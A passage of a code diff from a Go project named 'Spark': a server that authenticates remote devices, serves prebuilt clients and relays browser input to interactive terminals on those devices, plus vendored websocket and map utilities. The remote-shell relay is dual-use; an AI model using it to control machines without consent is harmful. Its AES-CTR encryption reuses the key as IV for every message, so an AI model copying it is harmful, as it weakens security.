deviceConn, ok := common.Melody.GetSessionByUUID(connUUID)
|
||||
if !ok {
|
||||
simpleSendPack(modules.Packet{Act: `warn`, Msg: `设备不存在或已经离线`}, session)
|
||||
session.Close()
|
||||
return
|
||||
}
|
||||
eventUUID := utils.GetStrUUID()
|
||||
terminal := &terminal{
|
||||
session: session,
|
||||
deviceConn: deviceConn,
|
||||
device: device.(string),
|
||||
termUUID: termUUID,
|
||||
eventUUID: eventUUID,
|
||||
}
|
||||
terminals.Set(termUUID, terminal)
|
||||
addEvent(eventWrapper(terminal), connUUID, eventUUID)
|
||||
common.SendPack(modules.Packet{Act: `initTerminal`, Data: gin.H{
|
||||
`event`: eventUUID,
|
||||
`terminal`: termUUID,
|
||||
}}, deviceConn)
|
||||
})
|
||||
wsTerminals.HandleMessage(onMessage)
|
||||
wsTerminals.HandleMessageBinary(onMessage)
|
||||
wsTerminals.HandleDisconnect(func(session *melody.Session) {
|
||||
val, ok := session.Get(`Terminal`)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
termUUID, ok := val.(string)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
val, ok = terminals.Get(termUUID)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
terminal, ok := val.(*terminal)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
common.SendPack(modules.Packet{Act: `killTerminal`, Data: gin.H{
|
||||
`event`: terminal.eventUUID,
|
||||
`terminal`: terminal.termUUID,
|
||||
}}, terminal.deviceConn)
|
||||
terminals.Remove(termUUID)
|
||||
removeEvent(terminal.eventUUID)
|
||||
})
|
||||
go common.WSHealthCheck(wsTerminals)
|
||||
}
|
||||
|
||||
// initTerminal 负责处理terminal的websocket握手事务
|
||||
func initTerminal(ctx *gin.Context) {
|
||||
if !ctx.IsWebsocket() {
|
||||
ctx.Status(http.StatusUpgradeRequired)
|
||||
return
|
||||
}
|
||||
secretStr, ok := ctx.GetQuery(`secret`)
|
||||
if !ok || len(secretStr) != 32 {
|
||||
ctx.Status(http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
secret, err := hex.DecodeString(secretStr)
|
||||
if err != nil {
|
||||
ctx.Status(http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
device, ok := ctx.GetQuery(`device`)
|
||||
if !ok {
|
||||
ctx.Status(http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if _, ok := common.CheckDevice(device); !ok {
|
||||
ctx.Status(http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
wsTerminals.HandleRequestWithKeys(ctx.Writer, ctx.Request, nil, gin.H{
|
||||
`Secret`: secret,
|
||||
`Device`: device,
|
||||
`LastPack`: time.Now().Unix(),
|
||||
`Terminal`: utils.GetStrUUID(),
|
||||
})
|
||||
}
|
||||
|
||||
// eventWrapper 会包装一个eventCb,当收到与浏览器session对应的device响应时,
|
||||
// 会自动把数据转发给浏览器端
|
||||
func eventWrapper(terminal *terminal) eventCb {
|
||||
return func(pack modules.Packet, device *melody.Session) {
|
||||
if pack.Act == `initTerminal` {
|
||||
if pack.Code != 0 {
|
||||
msg := `终端创建失败:未知错误`
|
||||
if len(pack.Msg) > 0 {
|
||||
msg = `终端创建失败:` + pack.Msg
|
||||
}
|
||||
simpleSendPack(modules.Packet{Act: `warn`, Msg: msg}, terminal.session)
|
||||
terminals.Remove(terminal.termUUID)
|
||||
removeEvent(terminal.eventUUID)
|
||||
}
|
||||
return
|
||||
}
|
||||
if pack.Act == `quitTerminal` {
|
||||
msg := `终端已退出`
|
||||
if len(pack.Msg) > 0 {
|
||||
msg = pack.Msg
|
||||
}
|
||||
simpleSendPack(modules.Packet{Act: `warn`, Msg: msg}, terminal.session)
|
||||
terminals.Remove(terminal.termUUID)
|
||||
removeEvent(terminal.eventUUID)
|
||||
terminal.session.Close()
|
||||
return
|
||||
}
|
||||
if pack.Act == `outputTerminal` {
|
||||
if pack.Data == nil {
|
||||
return
|
||||
}
|
||||
if output, ok := pack.Data[`output`]; ok {
|
||||
simpleSendPack(modules.Packet{Act: `outputTerminal`, Data: gin.H{
|
||||
`output`: output,
|
||||
}}, terminal.session)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func simpleEncrypt(data []byte, session *melody.Session) ([]byte, bool) {
|
||||
temp, ok := session.Get(`Secret`)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
secret := temp.([]byte)
|
||||
block, err := aes.NewCipher(secret)
|
||||
if err != nil {
|
||||
return nil, false
|
||||
}
|
||||
stream := cipher.NewCTR(block, secret)
|
||||
encBuffer := make([]byte, len(data))
|
||||
stream.XORKeyStream(encBuffer, data)
|
||||
return encBuffer, true
|
||||
}
|
||||
|
||||
func simpleDecrypt(data []byte, session *melody.Session) ([]byte, bool) {
|
||||
temp, ok := session.Get(`Secret`)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
secret := temp.([]byte)
|
||||
block, err := aes.NewCipher(secret)
|
||||
if err != nil {
|
||||
return nil, false
|
||||
}
|
||||
stream := cipher.NewCTR(block, secret)
|
||||
decBuffer := make([]byte, len(data))
|
||||
stream.XORKeyStream(decBuffer, data)
|
||||
return decBuffer, true
|
||||
}
|
||||
|
||||
func simpleSendPack(pack modules.Packet, session *melody.Session) bool {
|
||||
if session == nil {
|
||||
return false
|
||||
}
|
||||
data, err := utils.JSON.Marshal(pack)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
data, ok := simpleEncrypt(data, session)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
err = session.WriteBinary(data)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func onMessage(session *melody.Session, data []byte) {
|
||||
var pack modules.Packet
|
||||
data, ok := simpleDecrypt(data, session)
|
||||
if !(ok && utils.JSON.Unmarshal(data, &pack) == nil) {
|
||||
simpleSendPack(modules.Packet{Code: -1}, session)
|
||||
session.Close()
|
||||
return
|
||||
}
|
||||
session.Set(`LastPack`, time.Now().Unix())
|
||||
if pack.Act == `inputTerminal` {
|
||||
val, ok := session.Get(`Terminal`)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
termUUID, ok := val.(string)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
val, ok = terminals.Get(termUUID)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
terminal, ok := val.(*terminal)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if pack.Data == nil {
|
||||
return
|
||||
}
|
||||
if input, ok := pack.Data[`input`]; ok {
|
||||
common.SendPack(modules.Packet{Act: `inputTerminal`, Data: gin.H{
|
||||
`input`: input,
|
||||
`event`: terminal.eventUUID,
|
||||
`terminal`: terminal.termUUID,
|
||||
}}, terminal.deviceConn)
|
||||
}
|
||||
}
|
||||
}
|
207
server/main.go
Normal file
207
server/main.go
Normal file
@@ -0,0 +1,207 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"Spark/server/common"
|
||||
"Spark/server/config"
|
||||
"Spark/server/handler"
|
||||
"bytes"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/rakyll/statik/fs"
|
||||
|
||||
_ "Spark/server/embed/built"
|
||||
_ "Spark/server/embed/web"
|
||||
"Spark/utils"
|
||||
"Spark/utils/melody"
|
||||
"encoding/hex"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/kataras/golog"
|
||||
)
|
||||
|
||||
func main() {
|
||||
golog.SetTimeFormat(`2006/01/02 15:04:05`)
|
||||
gin.SetMode(`release`)
|
||||
|
||||
data, err := ioutil.ReadFile(`./Config.json`)
|
||||
if err != nil {
|
||||
golog.Fatal(`读取配置文件失败:`, err)
|
||||
return
|
||||
}
|
||||
err = utils.JSON.Unmarshal(data, &config.Config)
|
||||
if err != nil {
|
||||
golog.Fatal(`解析配置文件失败:`, err)
|
||||
return
|
||||
}
|
||||
if len(config.Config.Salt) > 24 {
|
||||
golog.Fatal(`Salt的长度不能超过24位`)
|
||||
return
|
||||
}
|
||||
config.Config.StdSalt = []byte(config.Config.Salt)
|
||||
config.Config.StdSalt = append(config.Config.StdSalt, bytes.Repeat([]byte{25}, 24)...)
|
||||
config.Config.StdSalt = config.Config.StdSalt[:24]
|
||||
|
||||
webFS, err := fs.NewWithNamespace(`web`)
|
||||
if err != nil {
|
||||
golog.Fatal(`加载静态资源失败:`, err)
|
||||
return
|
||||
}
|
||||
common.BuiltFS, err = fs.NewWithNamespace(`built`)
|
||||
if err != nil {
|
||||
golog.Fatal(`加载预编译客户端失败:`, err)
|
||||
return
|
||||
}
|
||||
app := gin.New()
|
||||
auth := gin.BasicAuth(config.Config.Auth)
|
||||
app.NoRoute(auth, func(ctx *gin.Context) {
|
||||
http.FileServer(webFS).ServeHTTP(ctx.Writer, ctx.Request)
|
||||
})
|
||||
handler.APIRouter(app.Group(`/api`), auth)
|
||||
app.Any(`/ws`, wsHandshake)
|
||||
|
||||
common.Melody.Config.MaxMessageSize = 1024
|
||||
common.Melody.HandleConnect(wsOnConnect)
|
||||
common.Melody.HandleMessage(wsOnMessage)
|
||||
common.Melody.HandleMessageBinary(wsOnMessageBinary)
|
||||
common.Melody.HandleDisconnect(wsOnDisconnect)
|
||||
go common.WSHealthCheck(common.Melody)
|
||||
|
||||
app.Run(config.Config.Listen)
|
||||
}
|
||||
|
||||
func wsHandshake(ctx *gin.Context) {
|
||||
if ctx.IsWebsocket() {
|
||||
clientUUID, _ := hex.DecodeString(ctx.GetHeader(`UUID`))
|
||||
clientKey, _ := hex.DecodeString(ctx.GetHeader(`Key`))
|
||||
if len(clientUUID) != 16 || len(clientKey) != 32 {
|
||||
ctx.Status(http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
decrypted, err := common.DecAES(clientKey, config.Config.StdSalt)
|
||||
if err != nil || !bytes.Equal(decrypted, clientUUID) {
|
||||
ctx.Status(http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
secret := append(utils.GetUUID(), utils.GetUUID()...)
|
||||
err = common.Melody.HandleRequestWithKeys(ctx.Writer, ctx.Request, http.Header{
|
||||
`Secret`: []string{hex.EncodeToString(secret)},
|
||||
}, gin.H{
|
||||
`Secret`: secret,
|
||||
`LastPack`: time.Now().Unix(),
|
||||
`Address`: getRemoteAddr(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
golog.Error(err)
|
||||
ctx.Status(http.StatusUpgradeRequired)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
// When message is too large to transport via websocket,
|
||||
// client will try to send these data via http.
|
||||
// Here is the data validator.
|
||||
const MaxBufferSize = 2 << 18 //524288 512KB
|
||||
secret, err := hex.DecodeString(ctx.GetHeader(`Secret`))
|
||||
if err != nil || len(secret) != 32 {
|
||||
return
|
||||
}
|
||||
body, err := ctx.GetRawData()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
common.Melody.IterSessions(func(uuid string, s *melody.Session) bool {
|
||||
if val, ok := s.Get(`Secret`); ok {
|
||||
// Check if there's the connection with the secret.
|
||||
if b, ok := val.([]byte); ok && bytes.Equal(b, secret) {
|
||||
wsOnMessageBinary(s, body)
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func wsOnConnect(session *melody.Session) {
|
||||
}
|
||||
|
||||
func wsOnMessage(session *melody.Session, bytes []byte) {
|
||||
session.Close()
|
||||
}
|
||||
|
||||
func wsOnMessageBinary(session *melody.Session, data []byte) {
|
||||
var pack modules.Packet
|
||||
data, ok := common.Decrypt(data, session)
|
||||
if !(ok && utils.JSON.Unmarshal(data, &pack) == nil) {
|
||||
common.SendPack(modules.Packet{Code: -1}, session)
|
||||
session.Close()
|
||||
return
|
||||
}
|
||||
if pack.Act == `report` || pack.Act == `setDevice` {
|
||||
session.Set(`LastPack`, time.Now().Unix())
|
||||
handler.WSDevice(data, session)
|
||||
return
|
||||
}
|
||||
if !common.Devices.Has(session.UUID) {
|
||||
session.Close()
|
||||
return
|
||||
}
|
||||
handler.WSRouter(pack, session)
|
||||
session.Set(`LastPack`, time.Now().Unix())
|
||||
}
|
||||
|
||||
func wsOnDisconnect(session *melody.Session) {
|
||||
common.Devices.Remove(session.UUID)
|
||||
}
|
||||
|
||||
func getRemoteAddr(ctx *gin.Context) string {
|
||||
if remote, ok := ctx.RemoteIP(); ok {
|
||||
if remote.IsLoopback() {
|
||||
forwarded := ctx.GetHeader(`X-Forwarded-For`)
|
||||
if len(forwarded) > 0 {
|
||||
return forwarded
|
||||
}
|
||||
realIP := ctx.GetHeader(`X-Real-IP`)
|
||||
if len(realIP) > 0 {
|
||||
return realIP
|
||||
}
|
||||
} else {
|
||||
if ip := remote.To4(); ip != nil {
|
||||
return ip.String()
|
||||
}
|
||||
if ip := remote.To16(); ip != nil {
|
||||
return ip.String()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
remote := net.ParseIP(ctx.Request.RemoteAddr)
|
||||
if remote != nil {
|
||||
if remote.IsLoopback() {
|
||||
forwarded := ctx.GetHeader(`X-Forwarded-For`)
|
||||
if len(forwarded) > 0 {
|
||||
return forwarded
|
||||
}
|
||||
realIP := ctx.GetHeader(`X-Real-IP`)
|
||||
if len(realIP) > 0 {
|
||||
return realIP
|
||||
}
|
||||
} else {
|
||||
if ip := remote.To4(); ip != nil {
|
||||
return ip.String()
|
||||
}
|
||||
if ip := remote.To16(); ip != nil {
|
||||
return ip.String()
|
||||
}
|
||||
}
|
||||
}
|
||||
addr := ctx.Request.RemoteAddr
|
||||
if pos := strings.LastIndex(addr, `:`); pos > -1 {
|
||||
return strings.Trim(addr[:pos], `[]`)
|
||||
}
|
||||
return addr
|
||||
}
|
354
utils/cmap/concurrent_map.go
Normal file
354
utils/cmap/concurrent_map.go
Normal file
@@ -0,0 +1,354 @@
|
||||
package cmap
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"sync"
|
||||
)
|
||||
|
||||
const SHARD_COUNT = 32
|
||||
|
||||
// ConcurrentMap is a "thread" safe map of type string:Anything.
|
||||
// To avoid lock bottlenecks this map is dived to several (SHARD_COUNT) map shards.
|
||||
type ConcurrentMap []*ConcurrentMapShared
|
||||
|
||||
// ConcurrentMapShared is a "thread" safe string to anything map.
|
||||
type ConcurrentMapShared struct {
|
||||
items map[string]interface{}
|
||||
sync.RWMutex // Read Write mutex, guards access to internal map.
|
||||
}
|
||||
|
||||
// New creates a new concurrent map.
|
||||
func New() ConcurrentMap {
|
||||
m := make(ConcurrentMap, SHARD_COUNT)
|
||||
for i := 0; i < SHARD_COUNT; i++ {
|
||||
m[i] = &ConcurrentMapShared{items: make(map[string]interface{})}
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
// GetShard returns shard under given key
|
||||
func (m ConcurrentMap) GetShard(key string) *ConcurrentMapShared {
|
||||
return m[uint(fnv32(key))%uint(SHARD_COUNT)]
|
||||
}
|
||||
|
||||
func (m ConcurrentMap) MSet(data map[string]interface{}) {
|
||||
for key, value := range data {
|
||||
shard := m.GetShard(key)
|
||||
shard.Lock()
|
||||
shard.items[key] = value
|
||||
shard.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
// Set sets the given value under the specified key.
|
||||
func (m ConcurrentMap) Set(key string, value interface{}) {
|
||||
// Get map shard.
|
||||
shard := m.GetShard(key)
|
||||
shard.Lock()
|
||||
shard.items[key] = value
|
||||
shard.Unlock()
|
||||
}
|
||||
|
||||
// UpsertCb is callback to return new element to be inserted into the map
|
||||
// It is called while lock is held, therefore it MUST NOT
|
||||
// try to access other keys in same map, as it can lead to deadlock since
|
||||
// Go sync.RWLock is not reentrant
|
||||
type UpsertCb func(exist bool, valueInMap interface{}, newValue interface{}) interface{}
|
||||
|
||||
// Upsert means Insert or Update - updates existing element or inserts a new one using UpsertCb
|
||||
func (m ConcurrentMap) Upsert(key string, value interface{}, cb UpsertCb) (res interface{}) {
|
||||
shard := m.GetShard(key)
|
||||
shard.Lock()
|
||||
v, ok := shard.items[key]
|
||||
res = cb(ok, v, value)
|
||||
shard.items[key] = res
|
||||
shard.Unlock()
|
||||
return res
|
||||
}
|
||||
|
||||
// SetIfAbsent sets the given value under the specified key if no value was associated with it.
|
||||
func (m ConcurrentMap) SetIfAbsent(key string, value interface{}) bool {
|
||||
// Get map shard.
|
||||
shard := m.GetShard(key)
|
||||
shard.Lock()
|
||||
_, ok := shard.items[key]
|
||||
if !ok {
|
||||
shard.items[key] = value
|
||||
}
|
||||
shard.Unlock()
|
||||
return !ok
|
||||
}
|
||||
|
||||
// Get retrieves an element from map under given key.
|
||||
func (m ConcurrentMap) Get(key string) (interface{}, bool) {
|
||||
// Get shard
|
||||
shard := m.GetShard(key)
|
||||
shard.RLock()
|
||||
// Get item from shard.
|
||||
val, ok := shard.items[key]
|
||||
shard.RUnlock()
|
||||
return val, ok
|
||||
}
|
||||
|
||||
// Count returns the number of elements within the map.
|
||||
func (m ConcurrentMap) Count() int {
|
||||
count := 0
|
||||
for i := 0; i < SHARD_COUNT; i++ {
|
||||
shard := m[i]
|
||||
shard.RLock()
|
||||
count += len(shard.items)
|
||||
shard.RUnlock()
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
// Has looks up an item under specified key
|
||||
func (m ConcurrentMap) Has(key string) bool {
|
||||
// Get shard
|
||||
shard := m.GetShard(key)
|
||||
shard.RLock()
|
||||
// See if element is within shard.
|
||||
_, ok := shard.items[key]
|
||||
shard.RUnlock()
|
||||
return ok
|
||||
}
|
||||
|
||||
// Remove removes an element from the map.
|
||||
func (m ConcurrentMap) Remove(key string) {
|
||||
// Try to get shard.
|
||||
shard := m.GetShard(key)
|
||||
shard.Lock()
|
||||
delete(shard.items, key)
|
||||
shard.Unlock()
|
||||
}
|
||||
|
||||
// RemoveCb is a callback executed in a map.RemoveCb() call, while Lock is held
|
||||
// If returns true, the element will be removed from the map
|
||||
type RemoveCb func(key string, v interface{}, exists bool) bool
|
||||
|
||||
// RemoveCb locks the shard containing the key, retrieves its current value and calls the callback with those params
|
||||
// If callback returns true and element exists, it will remove it from the map
|
||||
// Returns the value returned by the callback (even if element was not present in the map)
|
||||
func (m ConcurrentMap) RemoveCb(key string, cb RemoveCb) bool {
|
||||
// Try to get shard.
|
||||
shard := m.GetShard(key)
|
||||
shard.Lock()
|
||||
v, ok := shard.items[key]
|
||||
remove := cb(key, v, ok)
|
||||
if remove && ok {
|
||||
delete(shard.items, key)
|
||||
}
|
||||
shard.Unlock()
|
||||
return remove
|
||||
}
|
||||
|
||||
// Pop removes an element from the map and returns it
|
||||
func (m ConcurrentMap) Pop(key string) (v interface{}, exists bool) {
|
||||
// Try to get shard.
|
||||
shard := m.GetShard(key)
|
||||
shard.Lock()
|
||||
v, exists = shard.items[key]
|
||||
delete(shard.items, key)
|
||||
shard.Unlock()
|
||||
return v, exists
|
||||
}
|
||||
|
||||
// IsEmpty checks if map is empty.
|
||||
func (m ConcurrentMap) IsEmpty() bool {
|
||||
return m.Count() == 0
|
||||
}
|
||||
|
||||
// Tuple is used by the Iter & IterBuffered functions to wrap two variables together over a channel,
|
||||
type Tuple struct {
|
||||
Key string
|
||||
Val interface{}
|
||||
}
|
||||
|
||||
// Iter returns an iterator which could be used in a for range loop.
|
||||
//
|
||||
// Deprecated: using IterBuffered() will get a better performance
|
||||
func (m ConcurrentMap) Iter() <-chan Tuple {
|
||||
chans := snapshot(m)
|
||||
ch := make(chan Tuple)
|
||||
go fanIn(chans, ch)
|
||||
return ch
|
||||
}
|
||||
|
||||
// IterBuffered returns a buffered iterator which could be used in a for range loop.
|
||||
func (m ConcurrentMap) IterBuffered() <-chan Tuple {
|
||||
chans := snapshot(m)
|
||||
total := 0
|
||||
for _, c := range chans {
|
||||
total += cap(c)
|
||||
}
|
||||
ch := make(chan Tuple, total)
|
||||
go fanIn(chans, ch)
|
||||
return ch
|
||||
}
|
||||
|
||||
// Clear removes all items from map.
|
||||
func (m ConcurrentMap) Clear() {
|
||||
for item := range m.IterBuffered() {
|
||||
m.Remove(item.Key)
|
||||
}
|
||||
}
|
||||
|
||||
// Returns an array of channels that contains elements in each shard,
|
||||
// which likely takes a snapshot of `m`.
|
||||
// It returns once the size of each buffered channel is determined,
|
||||
// before all the channels are populated using goroutines.
|
||||
func snapshot(m ConcurrentMap) (chans []chan Tuple) {
|
||||
//When you access map items before initializing.
|
||||
if len(m) == 0 {
|
||||
panic(`cmap.ConcurrentMap is not initialized. Should run New() before usage.`)
|
||||
}
|
||||
chans = make([]chan Tuple, SHARD_COUNT)
|
||||
wg := sync.WaitGroup{}
|
||||
wg.Add(SHARD_COUNT)
|
||||
// Foreach shard.
|
||||
for index, shard := range m {
|
||||
go func(index int, shard *ConcurrentMapShared) {
|
||||
// Foreach key, value pair.
|
||||
shard.RLock()
|
||||
chans[index] = make(chan Tuple, len(shard.items))
|
||||
wg.Done()
|
||||
for key, val := range shard.items {
|
||||
chans[index] <- Tuple{key, val}
|
||||
}
|
||||
shard.RUnlock()
|
||||
close(chans[index])
|
||||
}(index, shard)
|
||||
}
|
||||
wg.Wait()
|
||||
return chans
|
||||
}
|
||||
|
||||
// fanIn reads elements from channels `chans` into channel `out`
|
||||
func fanIn(chans []chan Tuple, out chan Tuple) {
|
||||
wg := sync.WaitGroup{}
|
||||
wg.Add(len(chans))
|
||||
for _, ch := range chans {
|
||||
go func(ch chan Tuple) {
|
||||
for t := range ch {
|
||||
out <- t
|
||||
}
|
||||
wg.Done()
|
||||
}(ch)
|
||||
}
|
||||
wg.Wait()
|
||||
close(out)
|
||||
}
|
||||
|
||||
// Items returns all items as map[string]interface{}
|
||||
func (m ConcurrentMap) Items() map[string]interface{} {
|
||||
tmp := make(map[string]interface{})
|
||||
|
||||
// Insert items to temporary map.
|
||||
for item := range m.IterBuffered() {
|
||||
tmp[item.Key] = item.Val
|
||||
}
|
||||
|
||||
return tmp
|
||||
}
|
||||
|
||||
// IterCb is iterator callback, called for every key,value found in
|
||||
// maps. RLock is held for all calls for a given shard
|
||||
// therefore callback sess consistent view of a shard,
|
||||
// but not across the shards
|
||||
type IterCb func(key string, v interface{}) bool
|
||||
|
||||
// IterCb callback based iterator, the cheapest way to read
|
||||
// all elements in a map.
|
||||
func (m ConcurrentMap) IterCb(fn IterCb) {
|
||||
escape:=false
|
||||
for idx := range m {
|
||||
shard := (m)[idx]
|
||||
shard.RLock()
|
||||
for key, value := range shard.items {
|
||||
if !fn(key, value) {
|
||||
escape = true
|
||||
break
|
||||
}
|
||||
}
|
||||
shard.RUnlock()
|
||||
if escape {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Keys returns all keys as []string
|
||||
func (m ConcurrentMap) Keys() []string {
|
||||
count := m.Count()
|
||||
ch := make(chan string, count)
|
||||
go func() {
|
||||
// Foreach shard.
|
||||
wg := sync.WaitGroup{}
|
||||
wg.Add(SHARD_COUNT)
|
||||
for _, shard := range m {
|
||||
go func(shard *ConcurrentMapShared) {
|
||||
// Foreach key, value pair.
|
||||
shard.RLock()
|
||||
for key := range shard.items {
|
||||
ch <- key
|
||||
}
|
||||
shard.RUnlock()
|
||||
wg.Done()
|
||||
}(shard)
|
||||
}
|
||||
wg.Wait()
|
||||
close(ch)
|
||||
}()
|
||||
|
||||
// Generate keys
|
||||
keys := make([]string, 0, count)
|
||||
for k := range ch {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
//MarshalJSON reviles ConcurrentMap "private" variables to json marshal.
|
||||
func (m ConcurrentMap) MarshalJSON() ([]byte, error) {
|
||||
// Create a temporary map, which will hold all item spread across shards.
|
||||
tmp := make(map[string]interface{})
|
||||
|
||||
// Insert items to temporary map.
|
||||
for item := range m.IterBuffered() {
|
||||
tmp[item.Key] = item.Val
|
||||
}
|
||||
return json.Marshal(tmp)
|
||||
}
|
||||
|
||||
func fnv32(key string) uint32 {
|
||||
hash := uint32(2166136261)
|
||||
const prime32 = uint32(16777619)
|
||||
keyLength := len(key)
|
||||
for i := 0; i < keyLength; i++ {
|
||||
hash *= prime32
|
||||
hash ^= uint32(key[i])
|
||||
}
|
||||
return hash
|
||||
}
|
||||
|
||||
// Concurrent map uses Interface{} as its value, therefore JSON Unmarshal
|
||||
// probably won't know which to type to unmarshal into, in such case
|
||||
// we'll end up with a value of type map[string]interface{}, In most cases this isn't
|
||||
// out value type, this is why we've decided to remove this functionality.
|
||||
|
||||
// func (m *ConcurrentMap) UnmarshalJSON(b []byte) (err error) {
|
||||
// // Reverse process of Marshal.
|
||||
|
||||
// tmp := make(map[string]interface{})
|
||||
|
||||
// // Unmarshal into a single map.
|
||||
// if err := json.Unmarshal(b, &tmp); err != nil {
|
||||
// return nil
|
||||
// }
|
||||
|
||||
// // foreach key,value pair in temporary map insert into our concurrent map.
|
||||
// for key, val := range tmp {
|
||||
// m.Set(key, val)
|
||||
// }
|
||||
// return nil
|
||||
// }
|
22
utils/melody/config.go
Normal file
22
utils/melody/config.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package melody
|
||||
|
||||
import "time"
|
||||
|
||||
// Config melody configuration struct.
|
||||
type Config struct {
|
||||
WriteWait time.Duration // Milliseconds until write times out.
|
||||
PongWait time.Duration // Timeout for waiting on pong.
|
||||
PingPeriod time.Duration // Milliseconds between pings.
|
||||
MaxMessageSize int64 // Maximum size in bytes of a message.
|
||||
MessageBufferSize int // The max amount of messages that can be in a sessions buffer before it starts dropping them.
|
||||
}
|
||||
|
||||
func newConfig() *Config {
|
||||
return &Config{
|
||||
WriteWait: 10 * time.Second,
|
||||
PongWait: 60 * time.Second,
|
||||
PingPeriod: (60 * time.Second * 9) / 10,
|
||||
MaxMessageSize: 512,
|
||||
MessageBufferSize: 256,
|
||||
}
|
||||
}
|
8
utils/melody/envelope.go
Normal file
8
utils/melody/envelope.go
Normal file
@@ -0,0 +1,8 @@
|
||||
package melody
|
||||
|
||||
type envelope struct {
|
||||
t int
|
||||
msg []byte
|
||||
list []string
|
||||
filter filterFunc
|
||||
}
|
88
utils/melody/hub.go
Normal file
88
utils/melody/hub.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package melody
|
||||
|
||||
import (
|
||||
"Spark/utils/cmap"
|
||||
)
|
||||
|
||||
type hub struct {
|
||||
sessions cmap.ConcurrentMap
|
||||
queue chan *envelope
|
||||
register chan *Session
|
||||
unregister chan *Session
|
||||
exit chan *envelope
|
||||
open bool
|
||||
}
|
||||
|
||||
func newHub() *hub {
|
||||
return &hub{
|
||||
sessions: cmap.New(),
|
||||
queue: make(chan *envelope),
|
||||
register: make(chan *Session),
|
||||
unregister: make(chan *Session),
|
||||
exit: make(chan *envelope),
|
||||
open: true,
|
||||
}
|
||||
}
|
||||
|
||||
func (h *hub) run() {
|
||||
loop:
|
||||
for {
|
||||
select {
|
||||
case s := <-h.register:
|
||||
if h.open {
|
||||
h.sessions.Set(s.UUID, s)
|
||||
}
|
||||
case s := <-h.unregister:
|
||||
h.sessions.Remove(s.UUID)
|
||||
case m := <-h.queue:
|
||||
if len(m.list) > 0 {
|
||||
for _, uuid := range m.list {
|
||||
if s, ok := h.sessions.Get(uuid); ok {
|
||||
s := s.(*Session)
|
||||
s.writeMessage(m)
|
||||
}
|
||||
}
|
||||
} else if m.filter == nil {
|
||||
h.sessions.IterCb(func(uuid string, v interface{}) bool {
|
||||
s := v.(*Session)
|
||||
s.writeMessage(m)
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
h.sessions.IterCb(func(uuid string, v interface{}) bool {
|
||||
s := v.(*Session)
|
||||
if m.filter(s) {
|
||||
s.writeMessage(m)
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
case m := <-h.exit:
|
||||
var keys []string
|
||||
h.open = false
|
||||
h.sessions.IterCb(func(uuid string, v interface{}) bool {
|
||||
s := v.(*Session)
|
||||
s.writeMessage(m)
|
||||
s.Close()
|
||||
keys = append(keys, uuid)
|
||||
return true
|
||||
})
|
||||
for i := range keys {
|
||||
h.sessions.Remove(keys[i])
|
||||
}
|
||||
break loop
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *hub) closed() bool {
|
||||
return !h.open
|
||||
}
|
||||
|
||||
func (h *hub) len() int {
|
||||
return h.sessions.Count()
|
||||
}
|
||||
|
||||
func (h *hub) list() []string {
|
||||
return h.sessions.Keys()
|
||||
}
|
360
utils/melody/melody.go
Normal file
360
utils/melody/melody.go
Normal file
@@ -0,0 +1,360 @@
|
||||
package melody
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net/http"
|
||||
"sync"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// Close codes defined in RFC 6455, section 11.7.
|
||||
// Duplicate of codes from gorilla/websocket for convenience.
|
||||
const (
|
||||
CloseNormalClosure = 1000
|
||||
CloseGoingAway = 1001
|
||||
CloseProtocolError = 1002
|
||||
CloseUnsupportedData = 1003
|
||||
CloseNoStatusReceived = 1005
|
||||
CloseAbnormalClosure = 1006
|
||||
CloseInvalidFramePayloadData = 1007
|
||||
ClosePolicyViolation = 1008
|
||||
CloseMessageTooBig = 1009
|
||||
CloseMandatoryExtension = 1010
|
||||
CloseInternalServerErr = 1011
|
||||
CloseServiceRestart = 1012
|
||||
CloseTryAgainLater = 1013
|
||||
CloseTLSHandshake = 1015
|
||||
)
|
||||
|
||||
// Duplicate of codes from gorilla/websocket for convenience.
|
||||
var validReceivedCloseCodes = map[int]bool{
|
||||
// see http://www.iana.org/assignments/websocket/websocket.xhtml#close-code-number
|
||||
|
||||
CloseNormalClosure: true,
|
||||
